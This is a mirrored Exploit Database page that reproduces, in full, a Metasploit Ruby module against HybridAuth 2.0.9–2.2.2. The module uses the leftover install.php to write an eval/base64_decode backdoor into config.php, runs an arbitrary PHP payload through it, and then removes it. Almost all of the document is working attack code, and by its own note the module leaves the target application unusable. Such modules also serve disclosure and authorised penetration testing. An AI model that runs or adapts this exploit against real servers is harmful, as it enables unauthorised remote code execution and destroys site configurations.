HybridAuth – ‘install.php’ PHP Code Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2014-08-21
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34390/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # application config.php is overwritten
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'HybridAuth install.php PHP Code Execution',
  'Description'=> %q{
  This module exploits a PHP code execution vulnerability in
  HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
  is not removed after installation allowing unauthenticated users to
  write PHP code to the application configuration file 'config.php'.
  
  Note: This exploit will overwrite the application configuration file
  rendering the application unusable.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Pichaya Morimoto', # Discovery and PoC
  'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
  ],
  'References' =>
  [
  ['EDB', '34273'],
  ['OSVDB','109838']
  ],
  'Arch' => ARCH_PHP,
  'Platform' => 'php',
  'Targets'=>
  [
  # Tested:
  # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
  ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Aug 4 2014',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
  ], self.class)
  end
  
  
  #
  # Check:
  # * install.php exists
  # * config.php is writable
  # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
  #
  def check
  res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
  if !res
  vprint_error "#{peer} - Connection failed"
  return Exploit::CheckCode::Unknown
  elsif res.code == 404
  vprint_error "#{peer} - Could not find install.php"
  elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
  vprint_error "#{peer} - #{$1} is not writable"
  elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
  version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
  vprint_status "#{peer} - Found version: #{version}"
  if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
  return Exploit::CheckCode::Vulnerable
  else
  vprint_error "#{peer} - HybridAuth version #{version} is not vulnerable"
  end
  end
  Exploit::CheckCode::Safe
  end
  
  #
  # Exploit
  #
  def exploit
  # check vuln
  if check != Exploit::CheckCode::Vulnerable
  fail_with Exploit::Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
  end
  
  # write backdoor
  print_status "#{peer} - Writing backdoor to config.php"
  payload_param = rand(1000)
  res = send_request_cgi(
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'install.php'),
  'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
  )
  if !res
  fail_with Failure::Unknown, "#{peer} - Connection failed"
  elsif res.body =~ /Installation completed/
  print_good "#{peer} - Wrote backdoor successfully"
  else
  fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
  end
  
  # execute payload
  code = Rex::Text.encode_base64(payload.encoded)
  print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)"
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'config.php'),
  'data' => "#{payload_param}=#{code}"
  }, 5)
  if !res
  print_warning "#{peer} - No response"
  elsif res.code == 404
  fail_with Failure::NotFound, "#{peer} - Could not find config.php"
  elsif res.code == 200 || res.code == 500
  print_good "#{peer} - Sent payload successfully"
  end
  
  # remove backdoor
  print_status "#{peer} - Removing backdoor from config.php"
  res = send_request_cgi(
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'install.php'),
  'data' => 'OPENID_ADAPTER_STATUS='
  )
  if !res
  print_error "#{peer} - Connection failed"
  elsif res.body =~ /Installation completed/
  print_good "#{peer} - Removed backdoor successfully"
  else
  print_warning "#{peer} - Could not remove payload from config.php"
  end
  end
  end